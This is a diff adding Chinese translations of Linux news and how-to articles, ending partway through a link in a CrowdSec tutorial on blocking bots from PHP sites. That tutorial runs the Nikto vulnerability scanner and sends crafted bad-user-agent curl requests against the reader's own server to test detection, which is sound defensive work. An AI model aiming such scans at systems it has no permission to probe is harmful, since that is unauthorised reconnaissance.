"Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14192-1.html" + +准备升级了!Ubuntu 21.04 将在本周达到支持终点 +====== + +> 从本周 1 月 20 日起,Ubuntu 21.04 将不再收到任何更新。是时候考虑你的升级选择了! + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/ubuntu-21-04-eol.jpg?w=1200&ssl=1) + +[Ubuntu 21.04][1] 运行良好、添加了有趣的功能,也包括一些值得注意的变化,如 [对多显示器的改进][2]、用户界面的改进、支持 GNOME 40 的应用程序等等。 + +现在,是时候升级了。 + +Ubuntu 21.04 的更新支持在本周,即 **1 月 20 日** 结束。 + +你将不再收到任何关于 Ubuntu 21.04 系统的更新。如果你一直在使用 Ubuntu 或其某种风格,如 Ubuntu MATE,你需要将你的系统升级到 Ubuntu 21.10。 + +顺便提一句,Ubuntu 的非 LTS 版本维护期为 9 个月。如果你是 Linux 的新手的话,我建议你了解一下 [Ubuntu 发布周期][3]。 + +所以,现在你必须升级到 Ubuntu 21.10,然后再为 2022 年 7 月的另一次升级做好准备。不过,这样你的时间就充裕多了! + +### 升级到 Ubuntu 21.10 + +除非你有一个没有连接到互联网的系统,并且你希望它继续使用 Ubuntu 21.04,否则建议你现在就升级。 + +在没有任何更新的情况下,你的系统将继续受到新的安全风险的影响。所以,在做决定之前要记住这一点。 + +[Ubuntu 21.10][4] 引入了许多变化,包括 GNOME 40、[Linux 内核 5.13][5]、对高质量蓝牙音频编解码器的支持、暗色/浅色主题等等。 + +所以,你可能要开始考虑你的升级选择了。 + +你可以继续使用 Ubuntu,升级到 21.10。如果你考虑用不同的东西进行全新安装,也可以尝试像 [Pop!_OS 21.10][6] 这样的发行版。 + +不要忘了,还有各种的 Ubuntu 的风格版呢。 + +要开始升级,你只需要搜索 “软件更新器Software Updater” 并点击它,让它寻找升级并通知你。 + +无论你有什么发行版,软件更新器或你的软件中心应该给你提供升级选项,或者你可以在系统设置中找到它。 + +而且,然后按照屏幕上的指示,再点击几下就可以进行升级过程了。 + +重要的是,为了安全起见,在执行升级之前要备份你的必要数据。 + +在一些像 Ubuntu MATE 这样的版本中,你也可以选择使用终端,输入以下命令开始升级: + +``` +sudo do-release-upgrade +``` + +### 通往 Ubuntu 22.04 LTS 之路 + +Ubuntu 22.04 LTS 的 [预期功能列表][7] 应该不会让你失望。因此,你可以在它发布时轻松地升级到它,或者留在 Ubuntu 21.10 上,等待 7 月份支持结束时升级。 + +你是否期待着 Ubuntu 22.04 LTS 在今年 4 月的发布?或者,你愿意坚持使用 Ubuntu 21.10 直到 2022 年 7 月? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/ubuntu-21-04-eol/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/ubuntu-21-04-release/ +[2]: https://news.itsfoss.com/ubuntu-21-04-multi-monitor-support/ +[3]: https://itsfoss.com/end-of-life-ubuntu/ +[4]: https://news.itsfoss.com/ubuntu-21-10-release/ +[5]: https://news.itsfoss.com/linux-kernel-5-13-release/ +[6]: https://news.itsfoss.com/pop-os-21-10/ +[7]: https://itsfoss.com/ubuntu-22-04-release-features/ diff --git a/published/202201/20220117 Popular Nintendo Video Game Emulator ‘Cemu- Plans to Go Open-Source with Linux Support.md b/published/202201/20220117 Popular Nintendo Video Game Emulator ‘Cemu- Plans to Go Open-Source with Linux Support.md new file mode 100644 index 0000000000..3f3a1a0dbf --- /dev/null +++ b/published/202201/20220117 Popular Nintendo Video Game Emulator ‘Cemu- Plans to Go Open-Source with Linux Support.md @@ -0,0 +1,76 @@ +[#]: subject: "Popular Nintendo Video Game Emulator ‘Cemu’ Plans to Go Open-Source with Linux Support" +[#]: via: "https://news.itsfoss.com/cemu-nintendo-linux/" +[#]: author: "Rishabh Moharir https://news.itsfoss.com/author/rishabh/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14193-1.html" + +流行的任天堂电子游戏模拟器 Cemu 计划开源并支持 Linux +====== + +> 这的确是个好消息! + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/nintendo-cemu-linux.jpg?w=1200&ssl=1) + +如果你喜欢玩复古游戏,你可能已经接触过复古游戏机模拟器。顺便说一句,所谓“模拟器Emulator”(仿真器)主要是指允许主机系统运行为另一系统设计的游戏的软件或硬件。 + +最近,Cemu 成功引起了开源社区的注意力。它是众多复古电子游戏模拟器之一,可以让你玩为任天堂 Wii U 定制的游戏。然而,到目前为止,它在一个主要方面与大多数模拟器不同,即它是闭源的,但这即将改变。 + +### Cemu 简介 + +[Cemu][1] 是一个流行的基于软件的复古电子游戏模拟器,专门模拟任天堂 Wii U 游戏,它是这类模拟器中第一个。它利用了 OpenGL 和 Vulkan 来运行游戏。 + +多年来,它已经有了显著的进展,现在可以 [玩整个 Wii U 库中的 51% 的游戏][2]。这包括《马里奥卡丁车 8》和《塞尔达传说:荒野之息》等热门游戏。 + +虽然它早在 2015 年就发布了,但 Cemu 只能运行在 Windows 上。不过,开发者发布的新路线图指出,Cemu 应该很快就会移植到 Linux 上了。 + +而且,最令人关注的是,Cemu 将走向开源! + +### 通往开源和 Linux 之路 + +路线图总共包括了由开发人员计划的八个里程碑。其中包括计划开发一个 Linux 移植版并向社区提供代码。 + +谈到 Cemu 的开源问题,开发者计划在 2022 年完成这一工作。所以,你不应该对此寄予厚望。 + +迁移到 Linux 涉及到将源代码从 C 语言改写成 C++ 语言,并从 Visual Studio 迁移到 cmake。 + +以下是开发者对将 Cemu 引入 Linux 的看法: + +> 我们最终想提供一个原生的 Linux 版本。这一直是一个正在进行的副计划,尽管由于优先级较低和依赖于其他任务而进展相对缓慢,但现在已经完成了大约 70% 的工作。 + +开发人员还提到,移植过程伴随着其他工作,如软件 H264 解码器和 cubeb 后端。由于主要的工作已经完成,可以说 Cemu 很快就会出现在 Linux 上。 + +### 其他计划 + +开发人员已经考虑将 LLVM 作为 CPU JIT 后端,用于将 PowerPC(Wii U 的主机架构)转换为 ARM 等 X86 架构。 + +他们还刚刚开始着手开发一个新的着色器反编译器,以减少着色器编译时间和卡顿。 + +你可以参考 [官方路线图][3] 了解更多细节。 + +### 总结 + +这对渴望做出贡献并使 Cemu 变得更好的复古游戏爱好者来说绝对是一份大礼。 + +Cemu 最终将加入许多流行的、开源的任天堂游戏机模拟器的行列,如 Citra、Dolphin 和 Yuzu。 + +你对 Cemu 的开源有什么看法?复古游戏模拟器应该是闭源的还是开源的? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/cemu-nintendo-linux/ + +作者:[Rishabh Moharir][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/rishabh/ +[b]: https://github.com/lujun9972 +[1]: https://cemu.info +[2]: https://compat.cemu.info/ +[3]: https://wiki.cemu.info/wiki/Roadmap diff --git a/published/202201/20220117 Record your terminal session with Asciinema.md b/published/202201/20220117 Record your terminal session with Asciinema.md new file mode 100644 index 0000000000..9c759eb374 --- /dev/null +++ b/published/202201/20220117 Record your terminal session with Asciinema.md @@ -0,0 +1,130 @@ +[#]: subject: "Record your terminal session with Asciinema" +[#]: via: "https://opensource.com/article/22/1/record-terminal-session-asciinema" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14216-1.html" + +用 Asciinema 记录你的终端会话 +====== + +> 用这个开源的终端会话记录器 Asciinema 来展示终端会话。 + +![](https://img.linux.net.cn/data/attachment/album/202201/26/192641raoczh9h2w5xd2cq.jpg) + +支持电话是很重要的,而且最后往往是令人满意的,但明确的沟通行为对每个参与的人来说都是艰巨的。如果你曾经参加过支持电话,你可能会花好几分钟拼出了最短的命令,并详细解释了空格和回车的位置。虽然直接拿过来用户电脑的控制权往往更容易,但这并不是真正的教育的最佳方式。你可以尝试向用户发送一个屏幕记录,而他们可以复制命令并粘贴到自己的终端。 + +Asciinema 是一个开源的终端会话记录器。与 `script` 和 `scriptreplay` 命令类似,Asciinema 准确记录了你的终端显示。它将你的“电影”记录保存到一个文本文件中,然后根据需要进行回放。你可以把你的电影上传到 Asciinema.org,就像你在互联网上分享任何其他视频一样,你甚至可以把你的电影嵌入到网页中。 + +### 安装 Asciinema + +在 Linux 上,你可以使用你的包管理器安装 Asciinema。 + +在 Fedora、CentOS、Mageia 或类似系统上: + +``` +$ sudo dnf install asciinema +``` + +在 Debian、Linux Mint 或类似系统上: + +``` +$ sudo apt install asciinema +``` + +在 macOS 上,你可以用 Homebrew 安装: + +``` +$ sudo brew install asciinema +``` + +在 BSD 和任何其它平台上使用 [Pkgsrc][2]: + +``` +$ cd /usr/pkgsrc/misc/py-asciinema +$ sudo bmake install clean +``` + +### 从文本中制作电影 + +要用 Asciinema 开始录制,你可以使用 `rec` 子命令: + +``` +$ asciinema rec mymovie.cast +asciinema: recording asciicast to mymovie.cast +asciinema: press or type "exit" when you're done +``` + +一些友好的输出信息提醒你,你正在录制,并告诉你如何停止:按 `Ctrl+D` 或直接输入 `exit`。 + +当 Asciinema 处于活动状态时,你在终端所做的一切都会被记录下来。这包括输入、输出、错误、尴尬的停顿、错误或成功。如果在录制时,在你的终端中查看它,它就会被剪断。 + +当你演示完终端如何工作时,按 `Ctrl+D` 或输入 `exit` 来停止记录。 + +在这个例子中,产生的文件 `mymovie.cast` 是一个时间戳和动作的集合,它用作回放所使用的脚本(像电影脚本一样)。 + +``` +{"version": 2, "width": 139, "height": 36, "timestamp": 1641457358, "env": {"SHELL": "/bin/bash", "TERM": "xterm-256color"}} +[0.05351, "o", "\u001b]0;seth:~\u0007"] +[0.05393, "o", "\u001b[1;31m$ \u001b[00m"] +[1.380059, "o", "e"] +[1.443823, "o", "c"] +[1.514674, "o", "h"] +[1.595238, "o", "o"] +[1.789562, "o", " "] +[2.09658, "o", "\""] +[2.19683, "o", "h"] +[2.403994, "o", "e"] +[2.466784, "o", "l"] +[2.711183, "o", "lo"] +[3.120852, "o", "\""] +[3.427886, "o", "\r\nhello\r\n"] +[...] +``` + +如果你犯了一个错误,你可以通过删除重现错误的行来去除这个错误。如果你发现自己在录制过程中做了很多命令行修改或冗长的停顿,你可以安装并使用 [asciinema-edit][3] 工具,它可以通过你定义的时间戳或消除空闲时间来剪掉这些“镜头”片段。 + +### 播放 Asciinema 电影 + +你可以使用 `play` 子命令回放你的 Asciinema: + +``` +$ asciinema play mymovie.cast +``` + +这会接管你的终端会话,并使其成为最接近银幕的形式(除了那次你通过 `telnet` 观看 ASCII 格式的星球大战)。这个基于文本的电影播放,向你的用户展示了一个复杂的任务是如何完成的。当然,播放的 _实际_ 命令并不真正执行。这不是一个正在运行的 shell 脚本,所以即使你在电影中创建了一个 `hello.txt` 文件,在播放后也不会有一个新的 `hello.txt`。这只是为了展示。 + +然而,它又不仅仅是一个展示。你可以暂停 Asciinema 电影,选择你在屏幕上看到的文本,并将其粘贴到一个活动终端以运行该命令。Asciinema 是有用的文档。它向用户展示了如何完成一项任务,并允许他们进行复制和粘贴以确保准确性。 + +### 上传你的 Asciinema 电影 + +目前还没有像大片一样的 Asciinema 电影,但你可以把你的电影上传到 Asciinema.org,与全世界分享: + +``` +$ asciinema upload mymovie.cast +``` + +如果你习惯了 YouTube 上传所花费的时间,你会对 Asciinema 电影的传输速度感到惊喜。一个 `.cast` 文件通常只有几千字节,最多几兆字节,所以上传几乎是瞬间完成的。你不需要注册账户来分享你的电影,但所有无人认领的电影将在七天后会被删除。为了保存你的杰作,你可以在 Asciinema 上开设一个账户,然后坐等电影学院的电话。 + +### Asciinema 作为文档 + +Asciinema 是演示最基本概念的好方法。因为它保留了从录制中复制和粘贴代码的能力,提供了按需暂停和播放的能力,并且完全准确地描绘了它的内容,它不仅仅是屏幕录像,它要好得多。无论你是用它来向你的朋友炫耀你的终端技能,还是用它来教育同事和学生,Asciinema 都是一个无价的、社交的、便于访问的工具。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/record-terminal-session-asciinema + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/freedos.png?itok=aOBLy7Ky (4 different color terminal windows with code) +[2]: https://opensource.com/article/19/11/pkgsrc-netbsd-linux +[3]: https://github.com/cirocosta/asciinema-edit diff --git a/published/202201/20220118 Linux Mint-s Brand New Edge ISO is Available to Download.md b/published/202201/20220118 Linux Mint-s Brand New Edge ISO is Available to Download.md new file mode 100644 index 0000000000..fd2f41273f --- /dev/null +++ b/published/202201/20220118 Linux Mint-s Brand New Edge ISO is Available to Download.md @@ -0,0 +1,72 @@ +[#]: subject: "Linux Mint’s Brand New Edge ISO is Available to Download!" +[#]: via: "https://news.itsfoss.com/linux-mint-20-3-edge-iso/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14197-1.html" + +Linux Mint 全新的 Edge ISO 已经可以下载了! +====== + +> Linux Mint 20.3 现在为 Cinnamon 版提供了一个单独的 Edge ISO,以帮助用户使用最新一代的硬件! + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/mint-edge-iso.png?w=1200&ssl=1) + +[Linux Mint 20.3][1] 带来了一些改进。然而,它是由 Linux 内核 5.4 LTS 驱动的。 + +因此,使用较新硬件的用户可能会发现启动时很麻烦,或者遇到其他与旧的 Linux 内核不兼容的问题。 + +幸运的是,Linux Mint 20.3 现在有一个提供了 Linux 内核 5.13.0-25 的 Edge ISO。 + +### 带有 Linux 内核 5.13 的 Linux Mint 20.3 + +[Linux 内核 5.13][2] 通过 HDMI 引入了对 AMD GPU FreeSync 的支持,以及许多其他硬件改进。 + +因此,举例来说,如果你有一个 AMD GPU,并且在 Linux Mint 20.3 上遇到了问题,Edge ISO 可以派上用场。 + +是的,如果你有较新的硬件在使用 Linux Mint 20.3 时有问题,你可以试试 Edge ISO。 + +然而,Linux 内核 5.13 并不完全支持所有现代硬件,如英特尔 Alder Lake 处理器。 + +考虑到英特尔的第 12 代产品系列已经可以供消费者使用,一个更新的 Linux 内核可能是一个更好的选择,但有总比没有好。 + +因此,有必要指出,使用 Edge ISO 不会神奇地解决最新一代硬件的问题。你必须了解了 [Linux 内核 5.13][2] 的详细变化/支持,然后再进行尝试。 + +### 下载 Linux Mint 20.3 Edge ISO + +你可以选择下载单独的 Edge ISO 或从更新管理器中更新 Linux 内核。 + +![][3] + +前往 “更新管理器”,然后从“查看”菜单中导航到 Linux 内核选项。你可以注意到,你可以安装其他可用的 Linux 内核(根据你的要求),如果需要,可以删除旧的内核。 + +建议不要删除旧的内核,除非你确定较新的版本能按预期工作。 + +![][4] + +在进行内核升级之前,你应该备份你的重要文件,以防万一。 + +Edge ISO 只限于 Cinnamon 版。所以,你需要前往 Linux Mint 20.3 Cinnamon 页面下载该 ISO。 + +- [Linux Mint 20.3 Cinnamon(Edge)版][5] + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-mint-20-3-edge-iso/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/linux-mint-20-3-una-release/ +[2]: https://news.itsfoss.com/linux-kernel-5-13-release/ +[3]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/linux-mint-edge-kernel.png?w=829&ssl=1 +[4]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/update-manager-edge-kernel.png?w=825&ssl=1 +[5]: https://www.linuxmint.com/edition.php?id=296 diff --git a/published/202201/20220118 OpenBoard- An Open Source Interactive Whiteboard for Educators.md b/published/202201/20220118 OpenBoard- An Open Source Interactive Whiteboard for Educators.md new file mode 100644 index 0000000000..d011673fa9 --- /dev/null +++ b/published/202201/20220118 OpenBoard- An Open Source Interactive Whiteboard for Educators.md @@ -0,0 +1,106 @@ +[#]: subject: "OpenBoard: An Open Source Interactive Whiteboard for Educators" +[#]: via: "https://itsfoss.com/openboard/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14212-1.html" + +OpenBoard:面向教育工作者的开源交互式白板 +====== + +![](https://img.linux.net.cn/data/attachment/album/202201/25/134634wzn22l0x3zycy9et.jpg) + +> OpenBoard 是为中小学和大学定制的交互式开源白板。让我们来看看它提供了什么。 + +有几个可用于教育的开源工具,但是,并非所有这些面向中小学和大学的软件都能达到商业软件级的良好维护。 + +OpenBoard 就是这样一个不同凡响的自由开源工具,它可以不打折扣地为教育服务。它是一个交互式白板程序,具有所有基本功能,并支持各种硬件。 + +### OpenBoard:自由及开源的交互式白板 + +![][1] + +作为一个自由开源的程序,OpenBoard 看起来是一个令人印象深刻的选择。 + +瑞士日内瓦州的教育部门(DIP)与 GitHub 上的社区一起维护该工具。 + +通过交互式白板促进简单的数字教学不应该花费很多,这就是 OpenBoard 的优势所在。 + +它提供的一系列功能对大多数中小学和大学来说应该是足够的。 + +虽然我无法在中小学/大学环境中测试它,但我会重点介绍它提供的主要功能。 + +### OpenBoard 的特点 + +![][2] + +交互式白板没有众多花哨的功能,但足以使教师能够尽可能轻松地表达自己。 + +我注意到的一些特点包括: + + * 跨平台支持 + * 能够自由地写写画画 + * 能够添加注释 + * 能够删除注释 + * 可以使用荧光笔高亮显示你的白板的部分区域 + * 单独互动和移动创建/绘制的项目 + * 按顺序添加多个页面,可以继续教学而不需要擦除 + * 能够在页面间滚动浏览 + * 绘制线条(从三种不同线宽中选择) + * 切换手写笔模式(如果你使用的是手写板或类似的东西) + * 轻松擦除在白板上创建的项目 + * 可以从一组不同的背景中选择,包括把它变成黑板或带网格线的背景 + * 各种必要的应用,包括计算器、地图、尺子等,都可以通过拖放使用 + * 提供的一些形状,可以使绘图更容易 + * 能够向你的白板添加音频/视频,并无缝播放,以获得更好的体验 + * 虚拟激光笔 + * 可放大和缩小 + * 书写文字,调整大小,并克隆它 + * 从白板中对屏幕进行截图 + * 需要时可使用虚拟键盘 + +在我简短的测试中,用户界面和可用的选项工作得非常好,没有任何故障。 + +![][3] + +当然,你的体验将取决于设备的类型和你的设置。你可以用 Wacom 平板、双显示器设置,或者通过支持触摸的笔记本电脑使用投影仪来尝试。 + +### 在 Linux 中安装 OpenBoard + +更好的是,它可以在多个平台上使用,包括 Windows、macOS 和 Linux。 + +如果你使用的是 Ubuntu,你可以到官方网站下载 DEB 文件。另外对于其他 Linux 发行版,你可以选择通过 [Flathub][5] [安装 Flatpak 软件包][4]。 + +- [OpenBoard][6] + +### 结语 + +总的来说,我发现它在使用和导航方面毫不费力。你可以在多个页面之间快速切换,无缝擦除/添加项目,同时还可以在白板上添加丰富的元素。 + +通过虚拟激光笔以及一些应用,使得它适合在各种中小学和大学中使用而没有任何障碍。 + +我不知道它是否可以被称为谷歌课堂或 Miro 白板功能的替代品,但对于更简单的使用,OpenBoard 可以胜任。 + +如果你还没有试过,我建议你试一试。你知道有什么比这更好的东西吗?请在下面的评论中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/openboard/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/openboard-screenshot.png?resize=800%2C435&ssl=1 +[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/openboard-screenshot-1.png?resize=800%2C462&ssl=1 +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/openboard-dock.png?resize=800%2C344&ssl=1 +[4]: https://itsfoss.com/flatpak-guide/ +[5]: https://flathub.org/apps/details/ch.openboard.OpenBoard +[6]: https://www.openboard.ch/index.en.html diff --git a/published/202201/20220119 Protect your PHP website from bots with this open source tool.md b/published/202201/20220119 Protect your PHP website from bots with this open source tool.md new file mode 100644 index 0000000000..ffc9c6f47a --- /dev/null +++ b/published/202201/20220119 Protect your PHP website from bots with this open source tool.md @@ -0,0 +1,246 @@ +[#]: subject: "Protect your PHP website from bots with this open source tool" +[#]: via: "https://opensource.com/article/22/1/php-website-bouncer-crowdsec" +[#]: author: "Philippe Humeau https://opensource.com/users/philippe-humeau" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14209-1.html" + +用 CrowdSec 保护你的 PHP 网站不受机器人攻击 +====== + +> CrowdSec 门卫被设计成可以包含在任何 PHP 应用程序中,以帮助阻止攻击者。 + +![](https://img.linux.net.cn/data/attachment/album/202201/24/094243dtt2fkjjwtn5i2kz.jpg) + +PHP 是 Web 上广泛使用的一种编程语言,据估计有近 80% 的网站使用它。我在 [CrowdSec][2] 的团队决定,我们需要为服务器管理员提供一个 PHP 门卫,以帮助抵御那些可能试图与 PHP 文件互动的机器人和不良分子。 + +CrowdSec 门卫可以在应用栈的各个层面上进行设置:[Web 服务器、防火墙、CDN][3] 等等。本文关注的是另外一个层次:直接在应用层面设置补救措施。 + +由于各种原因,直接在应用程序中进行补救是有帮助的: + + * 它为潜在的安全威胁提供了业务逻辑上的答案。 + * 它提供了关于如何应对安全问题的自由。 + +虽然 CrowdSec 已经发布了一个 WordPress 门卫,但这个 PHP 库被设计成可以包含在任何 PHP 应用中(例如 Drupal)。该门卫有助于阻止攻击者,用验证码挑战他们,让人类通过,同时阻止机器人。 + +### 先决条件 + +本教程假定你在 Linux 服务器上运行 Drupal,并使用 [Apache 作为 Web 服务器][4]。 + +第一步是在你的服务器上 [安装 CrowdSec][5]。你可以用 [官方安装脚本][6] 来完成。如果你使用的是 Fedora、CentOS 或类似系统,请下载 RPM 版本: + +``` +$ curl -s https://packagecloud.io/install/repositories/crowdsec/crowdsec/script.rpm.sh +``` + +在 Debian 和基于 Debian 的系统上,下载 DEB 版本: + +``` +$ curl -s https://packagecloud.io/install/repositories/crowdsec/crowdsec/script.deb.sh +``` + +这些脚本很简单,所以仔细阅读你下载的脚本,以验证它是否导入了 GPG 密钥并配置了一个新的存储库。当你清楚了它的作用后,就执行它,然后安装。 + +``` +$ sudo dnf install crowdsec || sudo apt install crowdsec +``` + +CrowdSec 会自己检测到所有现有的服务,所以不需要进一步的配置就可以立即得到一个能发挥功能的设置。 + +### 测试初始设置 + +现在你已经安装了 CrowdSec,启动一个 Web 应用漏洞扫描器,比如 [Nikto][7],看看它的表现如何: + +``` +$ ./nikto.pl -h http:// +``` + +![nikto scan][8] + +该 IP 地址已被检测到触发了各种场景,最后一个是 `crowdsecurity/http-crawl-non_statics`: + +![detected scan][9] + +然而,CrowdSec 只检测问题,需要一个门卫来应用补救措施。这就是 PHP 门卫发挥作用的地方。 + +### 用 PHP 门卫进行补救 + +现在你可以检测到恶意行为了,你需要在网站层面上阻止 IP。在这个时候,没有用于 Drupal 的门卫可用。然而,你可以直接使用 PHP 门卫。 + +它是如何工作的?PHP 门卫(和其他门卫一样)对 CrowdSec 的 API 进行调用,并检查是否应该禁止进入的 IP,向他们发送验证码,或者允许他们通过。 + +Web 服务器是 Apache,所以你可以使用 [Apache 的安装脚本][10]: + +``` +$ git clone https://github.com/crowdsecurity/cs-php-bouncer.git +$ cd cs-php-bouncer/ +$ ./install.sh --apache +``` + +![apache install script][11] + +门卫的配置是用来保护整个网站。可以通过调整 Apache 的配置保护网站的一个特定部分。 + +### 尝试访问网站 + +PHP 门卫已经安装并配置好。由于之前的网络漏洞扫描行动,你被禁止了,你可以尝试访问该网站看看: + +![site access attempt][12] + +门卫成功阻止了你的流量。如果你在以前的 Web 漏洞扫描后没有被禁止,你可以用增加一个手动决策: + +``` +$ cscli decisions add -i +``` + +对于其余的测试,删除当前的决策: + +``` +$ cscli decisions delete -i +``` + +### 更进一步 + +我封锁了试图破坏 PHP 网站的 IP。这很好,但那些试图扫描、爬取或 DDoS 的 IP 怎么办?这些类型的检测可能会导致误报,那么为什么不返回一个验证码挑战来检查它是否是一个真正的用户(而不是一个机器人),而不是封锁 IP? + +#### 检测爬虫和扫描器 + +我不喜欢爬虫和坏的用户代理,在 [Hub][13] 上有各种方案可以用来发现它们。 + +确保用 `cscli’ 下载了 Hub 上的 `base-http-scenarios` 集合: + +``` +$ cscli collections list | grep base-http-scenarios +crowdsecurity/base-http-scenarios ✔️ enabled /etc/crowdsec/collections/base-http-scenarios.yaml +``` + +如果没有找到,请安装它,并重新加载 CrowdSec: + +``` +$ sudo cscli collections install crowdsecurity/base-http-scenarios +$ sudo systemctl reload crowdsec +``` + +#### 用验证码补救 + +由于检测 DDoS、爬虫或恶意的用户代理可能会导致误报,我更倾向于对任何触发这些情况的 IP 地址返回一个验证码,以避免阻止真正的用户。 + +为了实现这一点,请修改 `profiles.yaml` 文件。 + +在 `/etc/crowdsec/profiles.yaml` 中的配置文件的开头添加这个 YAML 块: + +``` +--- +# /etc/crowdsec/profiles.yaml +name: crawler_captcha_remediation +filter: Alert.Remediation == true && Alert.GetScenario() in ["crowdsecurity/http-crawl-non_statics", "crowdsecurity/http-bad-user-agent"] + +decisions: + - type: captcha + duration: 4h +on_success: break +``` + +有了这个配置文件,任何触发 `crowdsecurity/http-crawl-non_statics` 或 `crowdsecurity/http-bad-user-agent` 场景的 IP 地址都会被强制执行一个验证码(持续 4 小时)。 + +接下来,重新加载 CrowdSec: + +``` +$ sudo systemctl reload crowdsec +``` + +#### 尝试自定义的补救措施 + +重新启动 Web 漏洞扫描器会触发很多场景,所以你最终会再次被禁止。相反,你可以直接制作一个触发 `bad-user-agent` 场景的攻击(已知的坏用户代理列表在 [这里][14])。请注意,你必须激活该规则两次才能被禁止。 + +``` +$ curl --silent -I -H "User-Agent: Cocolyzebot" http://example.com > /dev/null +$ curl -I -H "User-Agent: Cocolyzebot" http://example.com +HTTP/1.1 200 OK +Date: Tue, 05 Oct 2021 09:35:43 GMT +Server: Apache/2.4.41 (Ubuntu) +Expires: Sun, 19 Nov 1978 05:00:00 GMT +Cache-Control: no-cache, must-revalidate +X-Content-Type-options: nosniff +Content-Language: en +X-Frame-Options: SAMEORIGIN +X-Generator: Drupal 7 (http://drupal.org) +Content-Type: text/html; charset=utf-8 +``` + +当然,你可以看到,你的行为会被抓住。 + +``` +$ sudo cscli decisions list +``` + +![detected scan][15] + +如果你试图访问该网站,不会被简单地被阻止,而是会收到一个验证码: + +![CAPTCHA prompt][16] + +一旦你解决了这个验证码,你就可以重新访问网站了。 + +接下来,再次解禁自己: + +``` +$ cscli decisions delete -i +``` + +启动漏洞扫描器: + +``` +$ ./nikto.pl -h http://example.com +``` + +与上次不同的是,你现在可以看到,你已经触发了几个决策: + +![scan detected][17] + +当试图访问网站时,禁止决策具有优先权: + +![site access attempt][18] + +### 总结 + +这是一个帮助阻止攻击者进入 PHP 网站和应用程序的快速方法。本文只包含一个例子。补救措施可以很容易地扩展,以适应额外的需求。要了解更多关于安装和使用 CrowdSec 代理的信息,[查看这个方法指南][19] 来开始。 + +要下载 PHP 门卫,请到 [CrowdSec Hub][20] 或 [GitHub][21]。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/php-website-bouncer-crowdsec + +作者:[Philippe Humeau][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/philippe-humeau +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/security_password_chaos_engineer_monster.png?itok=J31aRccu (Security monster) +[2]: https://opensource.com/article/20/10/crowdsec +[3]: https://hub.crowdsec.net/browse/#bouncers +[4]: https://opensource.com/article/18/2/how-configure-apache-web-server +[5]: https://doc.crowdsec.net/docs/getting_started/install_crowdsec +[6]: https://packagecloud.io/crowdsec/crowdsec/install +[7]: https://github.com/sullo/nikto +[8]: https://opensource.com/sites/default/files/1nikto_0.png (nikto scan) +[9]: https://opensource.com/sites/default/files/2decisions.png (detected scan) +[10]: 